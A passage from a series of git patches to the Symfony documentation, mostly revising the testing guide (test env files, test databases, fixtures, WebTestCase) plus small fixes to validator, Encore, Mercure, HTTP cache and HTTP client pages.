     DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
 
-    # use SQLITE
-    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
+In the test environment, these env files are read (if vars are duplicated
+in them, files lower in the list override previous items):
+
+#. ``.env``: containing env vars with application defaults;
+#. ``.env.test``: overriding/setting specific test values or vars;
+#. ``.env.test.local``: overriding settings specific for this machine.
+
+.. caution::
+
+    The ``.env.local`` file is **not** used in the test environment, to
+    make each test set-up as consistent as possible.
+
+Retrieving Services in the Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In your integration tests, you often need to fetch the service from the
+service container to call a specific method. After booting the kernel,
+the container is stored in ``self::$container``::
+
+    // tests/Service/NewsletterGeneratorTest.php
+    namespace App\Tests\Service;
+
+    use App\Service\NewsletterGenerator;
+    use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
+
+    class NewsletterGeneratorTest extends KernelTestCase
+    {
+        public function testSomething()
+        {
+            // (1) boot the Symfony kernel
+            self::bootKernel();
+
+            // (2) use self::$container to access the service container
+            $container = self::$container;
+
+            // (3) run some service & test the result
+            $newsletterGenerator = $container->get(NewsletterGenerator::class);
+            $newsletter = $newsletterGenerator->generateMonthlyNews(...);
 
-This file is automatically read in the ``test`` environment: any keys here override
-the defaults in ``.env``.
+            $this->assertEquals(..., $newsletter->getContent());
+        }
+    }
+
+The container in ``self::$container`` is actually a special test container.
+It gives you access to both the public services and the non-removed
+:ref:`private services <container-public>` services.
+
+.. note::
+
+    If you need to test private services that have been removed (those who
+    are not used by any other services), you need to declare those private
+    services as public in the ``config/services_test.yaml`` file.
+
+.. _testing-databases:
 
 Configuring a Database for Tests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Tests that interact with the database should use their own separate database to
-not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
-To do that, edit or create the ``.env.test.local`` file at the root directory of
-your project and define the new value for the ``DATABASE_URL`` env var:
+Tests that interact with the database should use their own separate
+database to not mess with the databases used in the other
+:ref:`configuration environments <configuration-environments>`.
+
+To do that, edit or create the ``.env.test.local`` file at the root
+directory of your project and define the new value for the ``DATABASE_URL``
+env var:
 
-.. code-block:: bash
+.. code-block:: env
 
     # .env.test.local
     DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
-.. tip::
+This assumes that each developer/machine uses a different database for the
+tests. If the test set-up is the same on each machine, use the ``.env.test``
+file instead and commit it to the shared repository. Learn more about
+:ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
+
+After that, you can create the test database and all tables using:
+
+.. code-block:: terminal
 
-    A common practice is to append the ``_test`` suffix to the original database
-    names in tests. If the database name in production is called ``project_acme``
-    the name of the testing database could be ``project_acme_test``.
+    # create the test database
+    $ php bin/console --env=test doctrine:database:create
 
-The above assumes that each developer/machine uses a different database for the
-tests. If the entire team uses the same settings for tests, edit or create the
-``.env.test`` file instead and commit it to the shared repository. Learn more
-about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
+    # create the tables/columns in the test database
+    $ php bin/console --env=test doctrine:schema:create
+
+.. tip::
+
+    A common practice is to append the ``_test`` suffix to the original
+    database names in tests. If the database name in production is called
+    ``project_acme`` the name of the testing database could be
+    ``project_acme_test``.
 
 Resetting the Database Automatically Before each Test
 .....................................................
 
-Tests should be independent from each other to avoid side effects. For example,
-if some test modifies the database (by adding or removing an entity) it could
-change the results of other tests. Run the following command to install a bundle
-that ensures that each test is run with the same unmodified database:
+Tests should be independent from each other to avoid side effects. For
+example, if some test modifies the database (by adding or removing an
+entity) it could change the results of other tests.
+
+The `DAMADoctrineTestBundle`_ uses Doctrine transactions to let each test
+interact with an unmodified database. Install it using:
 
 .. code-block:: terminal
 
@@ -266,25 +344,27 @@ Now, enable it as a PHPUnit extension:
         </extensions>
     </phpunit>
 
-This bundle uses a clever trick to avoid side effects without sacrificing
-performance: it begins a database transaction before every test and rolls it
-back automatically after the test finishes to undo all changes. Read more in the
-documentation of the `DAMADoctrineTestBundle`_.
+That's it! This bundle uses a clever trick: it begins a database
+transaction before every test and rolls it back automatically after the
+test finishes to undo all changes. Read more in the documentation of the
+`DAMADoctrineTestBundle`_.
 
 .. _doctrine-fixtures:
 
 Load Dummy Data Fixtures
 ........................
 
-Instead of using the real data from the production database, it's common to use
-fake or dummy data in the test database. This is usually called *"fixtures data"*
-and Doctrine provides a library to create and load them. Install it with:
+Instead of using the real data from the production database, it's common to
+use fake or dummy data in the test database. This is usually called
+*"fixtures data"* and Doctrine provides a library to create and load them.
+Install it with:
 
 .. code-block:: terminal
 
     $ composer require --dev doctrine/doctrine-fixtures-bundle
 
-Then, use the ``make:fixtures`` command to generate an empty fixture class:
+Then, use the ``make:fixtures`` command of the `SymfonyMakerBundle`_ to
+generate an empty fixture class:
 
 .. code-block:: terminal
 
@@ -293,7 +373,8 @@ Then, use the ``make:fixtures`` command to generate an empty fixture class:
     The class name of the fixtures to create (e.g. AppFixtures):
     > ProductFixture
 
-Customize the new class to load ``Product`` objects into Doctrine::
+Then you modify use this class to load new entities in the database. For
+instance, to load ``Product`` objects into Doctrine, use::
 
     // src/DataFixtures/ProductFixture.php
     namespace App\DataFixtures;
@@ -332,33 +413,44 @@ Application Tests
 -----------------
 
 Application tests check the integration of all the different layers of the
-application (from the routing to the views). They are no different from unit tests
-or integration tests as far as PHPUnit is concerned, but they have a very specific
-workflow:
+application (from the routing to the views). They are no different from
+unit tests or integration tests as far as PHPUnit is concerned, but they
+have a very specific workflow:
 
-* Make a request;
-* Click on a link or submit a form;
-* Test the response;
-* Rinse and repeat.
+#. Make a request;
+#. Click on a link or submit a form;
+#. Test the response;
+#. Rinse and repeat.
 
-Before creating your first test, install the ``symfony/test-pack`` which
-requires multiple packages providing some of the utilities used in the
-tests:
-
-.. code-block:: terminal
-
-    $ composer require --dev symfony/test-pack
+.. note::
 
+    The tools used in this section can be installed via the ``symfony/test-pack``,
+    use ``composer require symfony/test-pack`` if you haven't done so already.
 
 Write Your First Application Test
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Application tests are PHP files that typically live in the ``tests/Controller``
-directory of your application. If you want to test the pages handled by your
-``PostController`` class, start by creating a new ``PostControllerTest.php``
-file that extends a special ``WebTestCase`` class.
+Application tests are PHP files that typically live in the ``tests/Controller/``
+directory of your application. They often extend
+:class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`. This class
+adds special logic on top of the ``KernelTestCase``. You can read more
+about that in the above :ref:`section on integration tests <integration-tests>`.
+
+If you want to test the pages handled by your
+``PostController`` class, start by creating a new ``PostControllerTest``
+using the ``make:test`` command of the `SymfonyMakerBundle`_:
+
+.. code-block:: terminal
+
+    $ php bin/console make:test
+
+     Which test type would you like?:
+     > WebTestCase
 
-As an example, a test could look like this::
+     The name of the test class (e.g. BlogPostTest):
+     > Controller\PostControllerTest
+
+This creates the following test class::
 
     // tests/Controller/PostControllerTest.php
     namespace App\Tests\Controller;
@@ -367,87 +459,36 @@ As an example, a test could look like this::
 
     class PostControllerTest extends WebTestCase
     {
-        public function testShowPost()
+        public function testSomething(): void
         {
+            // This calls KernelTestCase::bootKernel(), and creates a
+            // "client" that is acting as the browser
             $client = static::createClient();
 
-            $client->request('GET', '/post/hello-world');
+            // Request a specific page
+            $crawler = $client->request('GET', '/');
 
-            $this->assertEquals(200, $client->getResponse()->getStatusCode());
+            // Validate a successful response and some content
+            $this->assertResponseIsSuccessful();
+            $this->assertSelectorTextContains('h1', 'Hello World');
         }
     }
 
-In the above example, you validated that the HTTP response was successful. The
-next step is to validate that the page actually contains the expected content.
-The ``createClient()`` method returns a client, which is like a browser that
-you'll use to crawl your site::
+In the above example, the test validates that the HTTP response was successful
+and the request body contains a ``<h1>`` tag with ``"Hello world"``. The
+``createClient()`` method also returns a client, which is like a browser
+that you can use to crawl your site::
 
     $crawler = $client->request('GET', '/post/hello-world');
 
+    // for instance, count the number of ``.comment`` elements on the page
+    $this->assertCount(4, $crawler->filter('.comment'));
+
 The ``request()`` method (read
 :ref:`more about the request method <testing-request-method-sidebar>`)
 returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
 be used to select elements in the response, click on links and submit forms.
 
-Useful Assertions
-~~~~~~~~~~~~~~~~~
-
-To get you started faster, here is a list of the most common and
-useful test assertions::
-
-    use Symfony\Component\HttpFoundation\Response;
-
-    // ...
-
-    // asserts that there is at least one h2 tag with the class "subtitle"
-    // the third argument is an optional message shown on failed tests
-    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-        'There is at least one subtitle'
-    );
-
-    // asserts that there are exactly 4 h2 tags on the page
-    $this->assertCount(4, $crawler->filter('h2'));
-
-    // asserts that the "Content-Type" header is "application/json"
-    $this->assertResponseHeaderSame('Content-Type', 'application/json');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->headers->contains(
-        'Content-Type', 'application/json'
-    ));
-
-    // asserts that the response content contains a string
-    $this->assertContains('foo', $client->getResponse()->getContent());
-    // ...or matches a regex
-    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-    // asserts that the response status code is 2xx
-    $this->assertResponseIsSuccessful();
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isSuccessful());
-
-    // asserts that the response status code is 404 Not Found
-    $this->assertTrue($client->getResponse()->isNotFound());
-
-    // asserts a specific status code
-    $this->assertResponseStatusCodeSame(201);
-    // HTTP status numbers are available as constants too:
-    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-    // equivalent to:
-    $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-    // asserts that the response is a redirect to /demo/contact
-    $this->assertResponseRedirects('/demo/contact');
-    // equivalent to:
-    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-    // ...or check that the response is a redirect to any URL
-    $this->assertResponseRedirects();
-
-.. versionadded:: 4.3
-
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
-
 Working with the Test Client
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -461,41 +502,9 @@ returns a ``Crawler`` instance.
 
 .. tip::
 
-    Hardcoding the request URLs is a best practice for application tests. If the
-    test generates URLs using the Symfony router, it won't detect any change
-    made to the application URLs which may impact the end users.
-
-.. _testing-request-method-sidebar:
-
-.. sidebar:: More about the ``request()`` Method:
-
-    The full signature of the ``request()`` method is::
-
-        request(
-            $method,
-            $uri,
-            array $parameters = [],
-            array $files = [],
-            array $server = [],
-            $content = null,
-            $changeHistory = true
-        )
-
-    The ``server`` array is the raw values that you'd expect to normally
-    find in the PHP `$_SERVER`_ superglobal. For example, to set the
-    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
-    the ``HTTP_`` prefix for non standard headers)::
-
-        $client->request(
-            'GET',
-            '/post/hello-world',
-            [],
-            [],
-            [
-                'CONTENT_TYPE' => 'application/json',
-                'HTTP_REFERER' => '/foo/bar',
-            ]
-        );
+    Hardcoding the request URLs is a best practice for application tests.
+    If the test generates URLs using the Symfony router, it won't detect
+    any change made to the application URLs which may impact the end users.
 
 Use the crawler to find DOM elements in the response. These elements can then
 be used to click on links and submit forms::
@@ -556,6 +565,38 @@ script::
 
     $client->insulate();
 
+.. _testing-request-method-sidebar:
+
+.. sidebar:: More about the ``request()`` Method:
+
+    The full signature of the ``request()`` method is::
+
+        request(
+            $method,
+            $uri,
+            array $parameters = [],
+            array $files = [],
+            array $server = [],
+            $content = null,
+            $changeHistory = true
+        )
+
+    The ``server`` array is the raw values that you'd expect to normally
+    find in the PHP `$_SERVER`_ superglobal. For example, to set the
+    ``Content-Type`` and ``Referer`` HTTP headers, you'd pass the following (mind
+    the ``HTTP_`` prefix for non standard headers)::
+
+        $client->request(
+            'GET',
+            '/post/hello-world',
+            [],
+            [],
+            [
+                'CONTENT_TYPE' => 'application/json',
+                'HTTP_REFERER' => '/foo/bar',
+            ]
+        );
+
 AJAX Requests
 .............
 
@@ -691,6 +732,65 @@ to be reported by PHPUnit::
 
     $client->catchExceptions(false);
 
+Useful Assertions
+~~~~~~~~~~~~~~~~~
+
+To get you started faster, here is a list of the most common and
+useful test assertions::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
+
+    // asserts that there is at least one h2 tag with the class "subtitle"
+    // the third argument is an optional message shown on failed tests
+    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
+        'There is at least one subtitle'
+    );
+
+    // asserts that there are exactly 4 h2 tags on the page
+    $this->assertCount(4, $crawler->filter('h2'));
+
+    // asserts that the "Content-Type" header is "application/json"
+    $this->assertResponseHeaderSame('Content-Type', 'application/json');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->headers->contains(
+        'Content-Type', 'application/json'
+    ));
+
+    // asserts that the response content contains a string
+    $this->assertContains('foo', $client->getResponse()->getContent());
+    // ...or matches a regex
+    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
+
+    // asserts that the response status code is 2xx
+    $this->assertResponseIsSuccessful();
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isSuccessful());
+
+    // asserts that the response status code is 404 Not Found
+    $this->assertTrue($client->getResponse()->isNotFound());
+
+    // asserts a specific status code
+    $this->assertResponseStatusCodeSame(201);
+    // HTTP status numbers are available as constants too:
+    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
+    // equivalent to:
+    $this->assertEquals(201, $client->getResponse()->getStatusCode());
+
+    // asserts that the response is a redirect to /demo/contact
+    $this->assertResponseRedirects('/demo/contact');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
+    // ...or check that the response is a redirect to any URL
+    $this->assertResponseRedirects();
+
+.. versionadded:: 4.3
+
+    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
+    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
+    related methods were introduced in Symfony 4.3.
+
 .. index::
    single: Tests; Crawler
 
@@ -922,13 +1022,13 @@ their type::
         $client->submit($form, [], ['HTTP_ACCEPT_LANGUAGE' => 'es']);
         $client->submitForm($button, [], 'POST', ['HTTP_ACCEPT_LANGUAGE' => 'es']);
 
-End to End Tests (E2E)
-----------------------
+.. TODO
+    End to End Tests (E2E)
+    ----------------------
 
-TODO
-* panther
-* testing javascript
-* UX or form collections as example?
+    * panther
+    * testing javascript
+    * UX or form collections as example?
 
 PHPUnit Configuration
 ---------------------
@@ -976,8 +1076,8 @@ configuration adds tests from a custom ``lib/tests`` directory:
         <!-- ... -->
     </phpunit>
 
-To include other directories in the code coverage, also edit the ``<filter>``
-section:
+To include other directories in the `code coverage analysis`_, also edit the
+``<filter>`` section:
 
 .. code-block:: xml
 
@@ -1012,6 +1112,9 @@ Learn more
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
+.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
+.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
+.. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`code coverage analysis`: https://phpunit.readthedocs.io/en/9.1/code-coverage-analysis.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18
diff --git a/testing/database.rst b/testing/database.rst
index fb6caa0e553..ec9a25c00c2 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,8 +1,14 @@
 .. index::
    single: Tests; Database
 
-How to Test Code that Interacts with the Database
-=================================================
+How to Test A Doctrine Repository
+=================================
+
+.. seealso::
+
+    The :ref:`main Testing guide <testing-databases>` describes how to use
+    and set-up a database for your automated tests. The contents of this
+    article show ways to test your Doctrine repositories.
 
 Mocking a Doctrine Repository in Unit Tests
 -------------------------------------------
@@ -134,6 +140,3 @@ so, get the entity manager via the service container as follows::
             $this->entityManager = null;
         }
     }
-
-.. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
-.. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html

From 80ad10481863e78e3a904609599ffd8ab131450d Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Sun, 18 Apr 2021 13:09:27 +0200
Subject: [PATCH 0740/5766] Minor fixes

---
 controller.rst                            | 2 +-
 introduction/from_flat_php_to_symfony.rst | 2 +-
 page_creation.rst                         | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index ef3c3987a96..ec20a05daa8 100644
--- a/controller.rst
+++ b/controller.rst
@@ -271,7 +271,7 @@ the argument by its name:
             ->addTag('controller.service_arguments')
             ->setBindings([
                 '$logger' => new Reference('monolog.logger.doctrine'),
-                '$projectDir' => '%kernel.project_dir%'
+                '$projectDir' => '%kernel.project_dir%',
             ])
         ;
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index bae9ee9a8dc..bbfd252de7c 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -528,7 +528,7 @@ The Sample Application in Symfony
 
 The blog has come a *long* way, but it still contains a lot of code for such
 a basic application. Along the way, you've made a basic routing system and
-a method using ``ob_start()`` and ``ob_get_clean()`` to render templates.
+a function using ``ob_start()`` and ``ob_get_clean()`` to render templates.
 If, for some reason, you needed to continue building this "framework" from
 scratch, you could at least use Symfony's standalone :doc:`Routing </routing>`
 component and :doc:`Twig </templates>`, which already solve these problems.
diff --git a/page_creation.rst b/page_creation.rst
index 817c59fc6ff..d348f857855 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -220,7 +220,7 @@ Make sure that ``LuckyController`` extends Symfony's base
           // ...
       }
 
-Now, use the handy ``render()`` function to render a template. Pass it a ``number``
+Now, use the handy ``render()`` method to render a template. Pass it a ``number``
 variable so you can use it in Twig::
 
     // src/Controller/LuckyController.php

From eb0c8a45546687b0d81ebbb7f90aacd33b5396a7 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 18 Apr 2021 14:19:50 +0200
Subject: [PATCH 0741/5766] Calling enableAnnotationMapping without argument is
 deprecated

First argument must be set to true.
---
 components/validator/resources.rst | 11 ++++++-----
 form/unit_testing.rst              |  3 ++-
 2 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 7f9b02fb544..91809ec7097 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -106,14 +106,14 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
     }
 
 To enable the annotation loader, call the
-:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping`
-method. It takes an optional annotation reader instance, which defaults to
-``Doctrine\Common\Annotations\AnnotationReader``::
+:method:`Symfony\\Component\\Validator\\ValidatorBuilder::enableAnnotationMapping` method.
+``addDefaultDoctrineAnnotationReader`` must also be called to use ``Doctrine\Common\Annotations\AnnotationReader``::
 
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call
@@ -134,7 +134,8 @@ multiple mappings::
     use Symfony\Component\Validator\Validation;
 
     $validator = Validation::createValidatorBuilder()
-        ->enableAnnotationMapping()
+        ->enableAnnotationMapping(true)
+        ->addDefaultDoctrineAnnotationReader()
         ->addMethodMapping('loadValidatorMetadata')
         ->addXmlMapping('validator/validation.xml')
         ->getValidator();
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 33ef7bd4ca4..376a1f88315 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -219,7 +219,8 @@ allows you to return a list of extensions to register::
 
             // or if you also need to read constraints from annotations
             $validator = Validation::createValidatorBuilder()
-                ->enableAnnotationMapping()
+                ->enableAnnotationMapping(true)
+                ->addDefaultDoctrineAnnotationReader()
                 ->getValidator();
 
             return [

From 3857676cabe1ed7b8ad5d99f0e66a00a9256eb3d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 19 Apr 2021 09:18:22 +0200
Subject: [PATCH 0742/5766] remove 4.x versionadded directive

---
 testing.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4033a72db5c..31428c41845 100644
--- a/testing.rst
+++ b/testing.rst
@@ -843,12 +843,6 @@ useful test assertions::
     // ...or check that the response is a redirect to any URL
     $this->assertResponseRedirects();
 
-.. versionadded:: 4.3
-
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
-
 .. index::
    single: Tests; Crawler
 

From e17d15d01c868721f22f24e95916f1c94299d29a Mon Sep 17 00:00:00 2001
From: Fabien Lasserre <fabien@primative.net>
Date: Mon, 19 Apr 2021 11:42:55 +0200
Subject: [PATCH 0743/5766] Fix typo

---
 frontend/encore/dev-server.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 76047ddc2a7..b474d280938 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -8,14 +8,14 @@ While developing, instead of using ``yarn encore dev --watch``, you can use the
 
     $ yarn encore dev-server
 
-This builds and serves the front-end assets from a new server. This server runs at 
-``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. 
-This server does not actually write the files to disk; instead it servers them from memory, 
+This builds and serves the front-end assets from a new server. This server runs at
+``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
+This server does not actually write the files to disk; instead it serves them from memory,
 allowing for hot module reloading.
 
-As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the 
-``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are 
-:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), 
+As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the
+``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are
+:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way),
 you're done: the paths in your templates will automatically point to the dev server.
 
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.

From 2a9c17bb143bbfca987904de133a58674d312bfe Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Mon, 19 Apr 2021 13:58:55 +0200
Subject: [PATCH 0744/5766] [Mercure] Fix configuration-block

---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index d67609f659a..82279c3be63 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -402,7 +402,7 @@ This cookie will be automatically sent by the web browser when connecting to the
 Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
 from it.
 
-add your JWT secret to the configuration as follow ::
+Add your JWT secret to the configuration as follow:
 
 .. configuration-block::
 

From d12df22b3c8c0ebf60e36248e4b4e48aaa17effa Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pierre=20Troll=C3=A9?=
 <8363334+trollepierre@users.noreply.github.com>
Date: Mon, 19 Apr 2021 15:43:04 +0200
Subject: [PATCH 0745/5766] update doc with max-age

---
 http_cache/expiration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index d30893b58fe..ae436e631ee 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -34,7 +34,7 @@ additional directives):
 
 .. code-block:: text
 
-    Cache-Control: public, maxage=600
+    Cache-Control: public, max-age=600
 
 .. note::
 

From 5ab1233b6ecf36217b0c7aac890d8fec4f692c3e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 15:46:23 +0200
Subject: [PATCH 0746/5766] Minor tweaks

---
 http_client.rst | 48 ++++++++++++++++++++++++------------------------
 1 file changed, 24 insertions(+), 24 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index fbe80fd2b23..5133ba74a65 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1498,7 +1498,8 @@ This allows using them where native PHP streams are needed::
 Extensibility
 -------------
 
-In order to extend the behavior of a base HTTP client, decoration is the way to go::
+If you want to extend the behavior of a base HTTP client, you can use
+:doc:`service decoration </service_container/service_decoration>`::
 
     class MyExtendedHttpClient implements HttpClientInterface
     {
@@ -1511,11 +1512,11 @@ In order to extend the behavior of a base HTTP client, decoration is the way to
 
         public function request(string $method, string $url, array $options = []): ResponseInterface
         {
-            // do what you want here with $method, $url and/or $options
+            // process and/or change the $method, $url and/or $options as needed
+            $response = $this->decoratedClient->request($method, $url, $options);
 
-            $response = $this->decoratedClient->request();
-
-            //!\ calling any method on $response here would break async, see below for a better way
+            // if you call here any method on $response, the HTTP request
+            // won't be async; see below for a better way
 
             return $response;
         }
@@ -1526,13 +1527,13 @@ In order to extend the behavior of a base HTTP client, decoration is the way to
         }
     }
 
-A decorator like this one is suited for use cases where processing the
-requests' arguments is enough.
+A decorator like this one is useful in cases where processing the requests'
+arguments is enough. By decorating the ``on_progress`` option, you can
+even implement basic monitoring of the response. However, since calling
+responses' methods forces synchronous operations, doing so inside ``request()``
+will break async.
 
-By decorating the ``on_progress`` option, one can
-even implement basic monitoring of the response. But since calling responses'
-methods forces synchronous operations, doing so in ``request()`` breaks async.
-The solution then is to also decorate the response object itself.
+The solution is to also decorate the response object itself.
 :class:`Symfony\\Component\\HttpClient\\TraceableHttpClient` and
 :class:`Symfony\\Component\\HttpClient\\Response\\TraceableResponse` are good
 examples as a starting point.
@@ -1551,10 +1552,9 @@ processing the stream of chunks as they come back from the network::
 
         public function request(string $method, string $url, array $options = []): ResponseInterface
         {
-            // do what you want here with $method, $url and/or $options
+            // process and/or change the $method, $url and/or $options as needed
 
             $passthru = function (ChunkInterface $chunk, AsyncContext $context) {
-
                 // do what you want with chunks, e.g. split them
                 // in smaller chunks, group them, skip some, etc.
 
@@ -1571,19 +1571,19 @@ it shall return an
 :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`.
 
 The custom processing of chunks should happen in ``$passthru``: this generator
-is where you need to write your logic. It will be called for each chunk yielded by
-the underlying client. A ``$passthru`` that does nothing would just ``yield $chunk;``.
-Of course, you could also yield a modified chunk, split the chunk into many
+is where you need to write your logic. It will be called for each chunk yielded
+by the underlying client. A ``$passthru`` that does nothing would just ``yield
+$chunk;``. You could also yield a modified chunk, split the chunk into many
 ones by yielding several times, or even skip a chunk altogether by issuing a
 ``return;`` instead of yielding.
 
 In order to control the stream, the chunk passthru receives an
 :class:`Symfony\\Component\\HttpClient\\Response\\AsyncContext` as second
 argument. This context object has methods to read the current state of the
-response. It also allows altering the response stream with methods to create new
-chunks of content, pause the stream, cancel the stream, change the info of the
-response, replace the current request by another one or change the chunk passthru
-itself.
+response. It also allows altering the response stream with methods to create
+new chunks of content, pause the stream, cancel the stream, change the info of
+the response, replace the current request by another one or change the chunk
+passthru itself.
 
 Checking the test cases implemented in
 :class:`Symfony\\Component\\HttpClient\\Response\\Tests\\AsyncDecoratorTraitTest`
@@ -1594,10 +1594,10 @@ Here are the use cases that it simulates:
 * send a preflight request, e.g. for authentication needs;
 * issue subrequests and include their content in the main response's body.
 
-The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse` has
-many safety checks that will throw a ``LogicException`` if the chunk passthru
-doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()`` one,
-or if a content chunk is yielded before an ``isFirst()`` one, etc.
+The logic in :class:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse`
+has many safety checks that will throw a ``LogicException`` if the chunk
+passthru doesn't behave correctly; e.g. if a chunk is yielded after an ``isLast()``
+one, or if a content chunk is yielded before an ``isFirst()`` one, etc.
 
 Testing HTTP Clients and Responses
 ----------------------------------

From e4c5aefeed892bf49ac2801fda0d683bc6459fc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Apr 2021 16:17:45 +0200
Subject: [PATCH 0747/5766] Tweaks

---
 event_dispatcher.rst                  | 2 ++
 reference/configuration/framework.rst | 7 +++++++
 2 files changed, 9 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 450f23cf698..be7fe590e79 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -220,6 +220,8 @@ a "main" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
+            // The isMainRequest() method was introduced in Symfony 5.3.
+            // In previous versions it was called isMasterRequest()
             if (!$event->isMainRequest()) {
                 // don't do anything if it's not the main request
                 return;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 415acd6cb69..8dedb6d3ddc 100644
--- a/reference/configuration/framework.rst
